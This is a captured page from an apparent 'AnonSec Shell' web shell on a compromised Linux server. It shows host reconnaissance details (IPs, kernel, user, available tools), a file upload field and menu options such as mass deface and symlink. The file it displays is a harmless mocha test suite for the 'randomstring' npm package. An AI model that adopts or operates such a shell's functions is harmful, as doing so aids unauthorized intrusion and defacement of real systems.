AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 172.67.142.142 / Your IP : 104.23.197.31 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/app/minigim/api/node_modules/randomstring/test/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/app/minigim/api/node_modules/randomstring/test/index.js

"use strict";

var assert = require("assert");
var random = require("..").generate;
var testLength = 24700;

describe("randomstring.generate(options)", function() {

  it("returns a string", function() {
    var rds = random();
    assert.equal(typeof(rds), "string");
  });

  it("returns a string async", function(done) {
    random(undefined, function(err, string) {
      assert.equal(typeof(string), "string");
      done();
    });
  });

  it("defaults to 32 characters in length", function() {
    assert.equal(random().length, 32);
  });

  it("accepts length as an optional first argument", function() {
    assert.equal(random(10).length, 10);
  });

  it("accepts length as an option param", function() {
    assert.equal(random({ length: 7 }).length, 7);
  });

  it("accepts length as an option param async", function(done) {
    random(({ length: 7 }), function(err, string) {
      assert.equal(string.length, 7);
      done();
    });
  });

  it("accepts 'numeric' as charset option async", function(done) {
    random({ length: testLength, charset: 'numeric' }, function(err, testData) {
      assert.equal(testData.length, testLength);
      var search = testData.search(/\D/ig);
      assert.equal(search, -1);
      done();
    });
  });
  
  it("accepts 'alphabetic' as charset option async", function(done) {
    var testData = random({ length: testLength, charset: 'alphabetic' }, function(err, testData) {
      var search = testData.search(/\d/ig);
      assert.equal(search, -1);
      done();
    });
  });

  it("accepts 'hex' as charset option", function() {
    var testData = random({ length: testLength, charset: 'hex' });
    var search = testData.search(/[^0-9a-f]/ig);
    assert.equal(search, -1);
  });
  
  it("accepts 'binary' as charset option", function() {
    var testData = random({ length: testLength, charset: 'binary' });
    var search = testData.search(/[^01]/ig);
    assert.equal(search, -1);
  });

  it("accepts 'octal' as charset option", function() {
    var testData = random({ length: testLength, charset: 'octal' });
    var search = testData.search(/[^0-7]/ig);
    assert.equal(search, -1);
  });

  it("accepts custom charset", function() {
    var charset = "abc";
    var testData = random({ length: testLength, charset: charset });
    var search = testData.search(/[^abc]/ig);
    assert.equal(search, -1);
  });

  it("accepts custom charset async", function(done) {
    var charset = "abc";
    random({ length: testLength, charset: charset }, function(err, testData) {
      var search = testData.search(/[^abc]/ig);
      assert.equal(search, -1);
      done();
    });
  });
  
  it("accepts readable option", function() {
    var testData = random({ length: testLength, readable: true });
    var search = testData.search(/[0OIl]/g);
    assert.equal(search, -1);
  });

  it("accepts 'uppercase' as capitalization option", function() {
    var testData = random({ length: testLength, capitalization: 'uppercase'});
    var search = testData.search(/[a-z]/g);
    assert.equal(search, -1);
  });

  it("accepts 'lowercase' as capitalization option", function() {
    var testData = random({ length: testLength, capitalization: 'lowercase'});
    var search = testData.search(/[A-Z]/g);
    assert.equal(search, -1);
  });

  it("returns unique strings", function() {
    var results = {};
    for (var i = 0; i < 1000; i++) {
      var s = random();
      assert.notEqual(results[s], true);
      results[s] = true;
    }
    return true;
  });

  it("returns unique strings async", function(done) {
    var results = [];
    function doTest() {
      random(undefined, function(err, string) {
        assert.equal(results.indexOf(string), -1);
        results.push(string);
        if (results.length >= 1000) {
          done();
        } else {
          doTest();
        }
      });
    }

    doTest();
  });

  it("returns unbiased strings", function() {
    var charset = 'abcdefghijklmnopqrstuvwxyz';
    var slen = 100000;
    var s = random({ charset: charset, length: slen });
    var counts = {};
    for (var i = 0; i < s.length; i++) {
      var c = s.charAt(i);
      if (typeof counts[c] === "undefined") {
        counts[c] = 0;
      } else {
        counts[c]++;
      }
    }
    var avg = slen / charset.length;
    Object.keys(counts).sort().forEach(function(k) {
      var diff = counts[k] / avg;
      assert(diff > 0.95 && diff < 1.05,
             "bias on `" + k + "': expected average is " + avg + ", got " + counts[k]);
    });
  });

  it("returns unbiased strings async", function(done) {
    var charset = 'abcdefghijklmnopqrstuvwxyz';
    var slen = 100000;
    random({ charset: charset, length: slen }, function(err, s) {
      var counts = {};
      for (var i = 0; i < s.length; i++) {
        var c = s.charAt(i);
        if (typeof counts[c] === "undefined") {
          counts[c] = 0;
        } else {
          counts[c]++;
        }
      }
      var avg = slen / charset.length;
      Object.keys(counts).sort().forEach(function(k) {
        var diff = counts[k] / avg;
        assert(diff > 0.95 && diff < 1.05,
               "bias on `" + k + "': expected average is " + avg + ", got " + counts[k]);
      });
      done();
    });

  });
});

Anon7 - 2022
AnonSec Team